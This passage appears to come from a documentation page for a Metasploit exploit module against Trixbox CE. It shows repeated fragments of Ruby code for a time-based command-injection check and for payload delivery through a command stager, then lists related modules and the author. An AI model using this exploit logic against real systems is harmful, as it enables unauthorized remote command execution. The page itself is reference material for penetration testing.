158: res = execute_command(cmd)
159: t2 = Time.now.to_i
160: unless res
161: print_error("#{peer} - Connection failed whilst trying to perform the command injection.")
162: return CheckCode::Detected
163: end
164: diff = t2 - t1
165: if diff >= delay
166: print_good("#{peer} - Response received after #{diff} seconds.")
<PEER> - Response wasn't received within the expected period of time.
Here is a relevant code snippet related to the "<PEER> - Response wasn't received within the expected period of time." error message:
164: diff = t2 - t1
165: if diff >= delay
166: print_good("#{peer} - Response received after #{diff} seconds.")
167: return CheckCode::Vulnerable
168: else
169: print_error("#{peer} - Response wasn't received within the expected period of time.")
170: return CheckCode::Safe
171: end
172: end
173: rescue ::Rex::ConnectionError
174: print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.")
<PEER> - Rex::ConnectionError caught in check(), could not connect to the target.
Here is a relevant code snippet related to the "<PEER> - Rex::ConnectionError caught in check(), could not connect to the target." error message:
169: print_error("#{peer} - Response wasn't received within the expected period of time.")
170: return CheckCode::Safe
171: end
172: end
173: rescue ::Rex::ConnectionError
174: print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.")
175: return CheckCode::Unknown
176: end
177:
178: def exploit
179: res = login(user, pass)
No response was received from <PEER> whilst in exploit(), check it is online and the target port is open!
Here is a relevant code snippet related to the "No response was received from <PEER> whilst in exploit(), check it is online and the target port is open!" error message:
176: end
177:
178: def exploit
179: res = login(user, pass)
180: unless res
181: print_error("No response was received from #{peer} whilst in exploit(), check it is online and the target port is open!")
182: end
183: if res.code == 200
184: version = get_target(res)
185: if version.nil?
186: print_error("#{peer} - The target is not vulnerable.")
<PEER> - The target is not vulnerable.
Here is a relevant code snippet related to the "<PEER> - The target is not vulnerable." error message:
181: print_error("No response was received from #{peer} whilst in exploit(), check it is online and the target port is open!")
182: end
183: if res.code == 200
184: version = get_target(res)
185: if version.nil?
186: print_error("#{peer} - The target is not vulnerable.")
187: return false
188: end
189: print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
190: case target['Type']
191: when :unix_memory
Rex::ConnectionError caught in check(), could not connect to the target.
Here is a relevant code snippet related to the "Rex::ConnectionError caught in check(), could not connect to the target." error message:
191: when :unix_memory
192: execute_command(payload.encoded)
193: when :linux_dropper
194: execute_cmdstager(linemax: 130_000)
195: end
196: end
197: rescue ::Rex::ConnectionError
198: print_error('Rex::ConnectionError caught in check(), could not connect to the target.')
199: return false
200: end
201: end
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Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14734 Merged Pull Request: Rubocop recently landed modules
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13353 Merged Pull Request: Trixbox CE v2.8.0.4 endpoint_devicemap.php Authenticated Remote Command Execution
References
See Also
Check also the following modules related to this module:
- exploit/unix/webapp/trixbox_langchoice
- exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce
- exploit/unix/webapp/bolt_authenticated_rce
- exploit/unix/webapp/citrix_access_gateway_exec
- exploit/unix/webapp/coppermine_piceditor
- exploit/unix/webapp/joomla_comfields_sqli_rce
- exploit/unix/webapp/joomla_comjce_imgmanager
- exploit/unix/webapp/joomla_contenthistory_sqli_rce
- exploit/unix/webapp/openmediavault_rpc_rce
- exploit/unix/webapp/oscommerce_filemanager
- exploit/unix/webapp/thinkphp_rce
- exploit/unix/webapp/wp_advanced_custom_fields_exec
- exploit/unix/webapp/wp_pie_register_bypass_rce
- exploit/unix/webapp/wp_plainview_activity_monitor_rce
- exploit/unix/webapp/wp_wpshop_ecommerce_file_upload
- exploit/unix/http/cacti_filter_sqli_rce
- exploit/unix/http/dell_kace_k1000_upload
- exploit/unix/http/quest_kace_systems_management_rce
- exploit/unix/local/at_persistence
- exploit/unix/misc/polycom_hdx_traceroute_exec
- exploit/unix/smtp/opensmtpd_mail_from_rce
- exploit/unix/sonicwall/sonicwall_xmlrpc_rce
- exploit/windows/antivirus/symantec_endpoint_manager_rce
- exploit/windows/http/ibm_tivoli_endpoint_bof
- auxiliary/scanner/dcerpc/endpoint_mapper
Authors
- Anastasios Stasinopoulos (@ancst)
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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